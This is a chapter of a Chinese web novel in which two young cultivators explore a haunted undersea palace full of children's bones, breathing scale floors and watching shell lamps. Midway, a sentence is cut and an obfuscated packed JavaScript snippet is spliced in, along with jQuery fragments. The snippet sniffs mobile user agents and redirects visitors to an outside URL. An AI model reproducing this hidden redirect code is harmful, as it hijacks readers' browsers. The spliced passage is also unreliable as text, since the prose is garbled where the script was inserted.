3. 第 3 章

作品:《今天和男二斗嘴了吗

    幽蓝的光线透过半透明穹顶洒落,将整座宫殿映照得如同沉在深海中的巨大琥珀。两个心怀鬼胎的人达成了短暂的和平,在附近转了一圈打探情况。


    连翘的手腕被谢无咎一把扣住时,条件反射地想去摸腰间的香囊。


    “你干嘛——”她话音未落就被少年拽到身侧,绣鞋险险地擦过一截森白指骨。


    “眼睛不要可以捐给雨童,”谢无咎嗓音低哑,拉着她往旁边走了两步,“它们至少知道避开死人的东西。”


    连翘甩了甩手腕,向前看去,整片地面竟布满了无数细小的、看不出是什么部位的骨头,在幽蓝光线下泛着诡异的青白色。


    “这是……”她迟疑道,“之前遇害的修士的骨头?”


    谢无咎捏起地上的骨头细细端详了一下,语气恢复了平日那种漫不经心的调子。


    “不太像,”他说,“太小了,像是孩子的骨头。”


    “你怎么连这都知道?”连翘凑过来,看了两眼就撇过头去。


    谢无咎继续往前走,踢到个圆滚滚的东西——是一个小小的颅骨。


    少年将颅骨转向她:“看这里,骨壁薄如蝉翼,囟门未完全闭合。"


    他翻转颅骨,指腹摩挲着细密的骨缝纹路。


    "齿列仅见乳臼齿,恒齿尚未萌出——约莫六七岁的孩童。"


    “……哇哦。”她夸张地捧读,“你们镇厄宗还教这个?”


    谢无咎轻笑:“教怎么认骸骨?不。”他随手抛弃颅骨又接住,“教的是怎么让敌人变成骸骨。”


    他将手里的颅骨放回原位,四处查看了下,最后皱着眉头道:


    “奇怪了,看上去这些都是孩子。”


    作为一个正常人,连翘还是做不到站在一堆骨头的中央还能保持淡定,而好巧不巧,她紧张的时候话就会变得特别多。


    “孩子,多大的孩子?这么多全是孩子么?”


    谢无咎正要回答,宫殿上方突然传来一声闷响。两人同时转头,只见穹顶外的鱼群惊慌逃散,有什么东西正在撞击半透明屏障。


    "雨童进不来。"


    谢无咎眯起眼睛,指向穹顶边缘。


    数十只惨白的小手正扒在屏障外,却像被烫到似的不断缩回。


    "而且它们在害怕。"


    她下意识接道:“怕什么?怕你这种连小孩骨头都要研究的变态么?”


    “不是,”谢无咎飞快地答,“是怕这宫殿里住着的东西,一股很强大的气息,我一进来就感觉到了。”


    “那你不早说——!”


    “你也没问啊。”


    行,连翘咬牙,不过是任务让她来的地方,定然是不简单的,她早有准备。


    可是与生俱来对这种黏黏腻腻的水生生物的恐惧让她没法停下自己的嘴,抖着声音继续问:


    “……你怎么知道他们在害怕?”


    “直觉。”


    “噢,直觉,男人的直觉一般都不太可信吧?”


    谢无咎轻笑一声,快到连翘来不及分辨其中意味,只听他道:


    “可我的直觉准得很呐,第一次见你的时候,我就知道你不是什么好东西。”


    连翘:“?”


    半秒后,她破防了。


    "不是,兄弟,你的直觉怕不是拼多多9毛9包邮的吧?"她一把薅住谢无咎的衣领,"第一次见面就觉得我不是好东西,您搁这儿玩狼人杀呢?"


    谢无咎被她拽得踉跄一步,银铃叮当乱响:"松手。"


    "松手——?"连翘阴阳怪气地拖长声调,“我就不!”


    她踮脚凑近谢无咎的脸。


    "来,看着姐姐的眼睛再说一遍——我、哪、里、不、像、好、人?"


    谢无咎垂眸看着这个炸毛的姑娘,半晌,笑了下。


    “好了,现在不怕了?”


    没等连翘反应过来,他又突然收敛了笑意,目光越过连翘肩头,落在穹顶外那些疯狂撞击屏障的雨童身上,声音沉了下来:


    “差不多就是这么大的吧。”


    “什么?”连翘迷茫,顺着他的视线往上望去。


    雨童茂密的头发像海藻一样在水流中浮动,正用额头整齐划一地撞击着透明屏障,纵使皮肤溃烂冒出轻烟也没有停止。


    “哇,”她搓着手臂上的鸡皮疙瘩感叹,“好让人羡慕的发量。”


    又转头,像是才意识到谢无咎没有回答她一样追问。


    “你刚刚说什么?什么差不多就是这么大?”


    少年把玩着手中小巧的指骨,道。


    “你方才不是问这是多大孩子的骨头么?大概,就像那些雨童那么大吧。”


    雨童撞击屏障的声音仍在有节奏地持续着。


    "我们得快点找出口。"不等连翘回答,谢无咎就走回原处捡起银铃系到腰间,他环顾一圈,"这地方不对劲。"


    确实不对劲。


    连翘跟着他穿过曲折的回廊,发现整座宫殿的建筑风格根本不像是人类所造。


    回廊入口处左右各摆放着一个人头鱼身手持三叉戟的石像,石像脸部共有十几双眼睛,瞪得都像铜铃一样大。墙壁上镶嵌的并非寻常明珠,而是一个个外形像贝壳的壁灯,投下的光影轻轻晃动。


    藻类在二人头顶织成诡异的网状结构,就像是久未有人居住的屋子房梁会结满蜘蛛网。


    她突然被什么东西绊了一下,低头看去,发现地面铺着的地砖竟然在微微翕动,砖缝有频率地张合着。


    “谢无咎……”她压低声音,“这些地砖好像在呼吸……”


    少年脚步一顿,银铃震颤起来,他蹲下身,指尖凝聚出一簇幽蓝火焰,照亮了地砖缝隙里粘稠的液体。


    “不是地砖。”


    他声音发紧。


    “这是鳞片,这是个活的东西。”


    连翘顿时觉得头皮发麻,绣鞋下的鳞片突然变得温热起来。她强忍着恶心跟上谢无咎,才发现墙壁上镶嵌的贝壳灯也正以诡异的频率开合,幽光一闪一闪地照在二人脸上。


    “这些贝壳也在动……”连翘咽了咽口水,“怎么感觉看起来这么像眼睛……”


    不知道是不是她的错觉,贝壳灯发出的幽光好像在随着他们的移动而转动,仿佛一直静静地注视着他们一样。


    谢无咎突然笑了:“有意思。”


    他故意在连翘面前来回走动,看着那些光晕同步转动。


    “不是你的错觉,是真的在看着我们。”


    “你能不能别玩了?”连翘拽住他的衣袖,恨不能闭上眼睛,“我鸡皮疙瘩都起来了。”


    这是什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375245|168305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么地方,这是密集恐惧者的地狱。


    少年却饶有兴致地凑近一个贝壳灯,将手中银铃化成匕首:


    “你说……它们受伤了会不会流泪?”


    话音刚落,他就手起刀落将匕首刺进去,一股腥臭又粘稠的液体噗呲一声从贝壳灯的光晕中喷溅出来,直直冲着连翘现在站立的地方。


    绿色的、难闻的、胶状的液体。


    “谢无咎我操你大爷!”连翘像是一只灵活的猎豹,敏捷地跳过来抱住他的胳膊,整个人几乎挂在他身上。


    谢无咎被她拽得踉跄两步,笑声在空旷的回廊里显得格外清亮:“大小姐也有害怕的时候?”


    “这是正常人的生理反应好吗!”连翘松开手,强装镇定地整理衣襟,“真的很恶心啊,我最讨厌这种黏糊糊的东西了。”


    “既然这样的话,就快些走吧,看看能不能找到出去的地方。如果实在摸索不到出口,就只能试着打破上面那层透明的屏障了。”


    “你是说把雨童挡在外面的那个?”


    “嗯。”谢无咎应了一声,简短地解释道,“那一看就是阵法形成的,而如今阵法已经很衰弱了。”


    连翘抬头去看,上方雨童还在锲而不舍地撞击着半透明的屏障,在整个宫殿里回荡着有节奏的闷响。她跟在他身后,一步也没有落下,飞快地向前走去。


    这个只值500积分的任务给出的线索相当简单,除去书中人物的大致人设外,并没有什么其他对当前情况有帮助的信息。而系统也从方才开始,就好像掉线了一样一声不吱。


    也不知道男女主什么时候才能找到他们,但既然任务要求她拖主角团后腿,发现这座水下宫殿,就一定是因为此处存在有价值的线索。


    连翘一双眼睛不安分地东张西望,看久了便有些脱敏,偶尔和贝壳灯对视上还能吐着舌头做个鬼脸。


    突然,转过弯角的时候,她停下了脚步。


    墙角处有一堆积灰的碎瓷片,在整座风格诡异的宫殿中显得格外正常,是为数不多看上去来自人类世界的东西。


    "你看这个。"


    她蹲下身,在碎瓷片中翻翻捡捡,挑出一块比较完整的轮廓,上面绘制的女子神色平和,头戴冕旈、身着霞帔、手执如意。


    她拼命回想自己在穿书管理局看过的那些风俗图谱。


    "这是海神娘娘妈祖的画像。”


    谢无咎蹙眉,用脚尖拨开其他碎片,露出一截断裂的麻绳。


    绳结很特殊,是船夫们惯用的"渔人结"。


    两人对视一眼,同时想到了那个收了四百灵石的摆渡人。


    “这么一想,着实奇怪。”


    连翘回忆着。


    “我们明明乘坐的就是渡厄舟,你师兄也检查过船体是用货真价实的雷击木制造的,为什么会还没出海就被袭击了呢?我们和雨童缠斗的时候,这个摆渡人就消失不见了,怎么看她都有点问题吧?”


    她话音未落,雨童撞击声骤然停止,远处传来更加巨大的水波震荡的声响。


    谢无咎一把捂住她的嘴,带着她闪到一根倾倒的石柱后。


    连翘的后背紧贴着他胸膛,能清晰感觉到对方突然加速的心跳。


    "别出声。"少年温热的呼吸喷在她耳畔,声音压得极低,"有东西醒了。"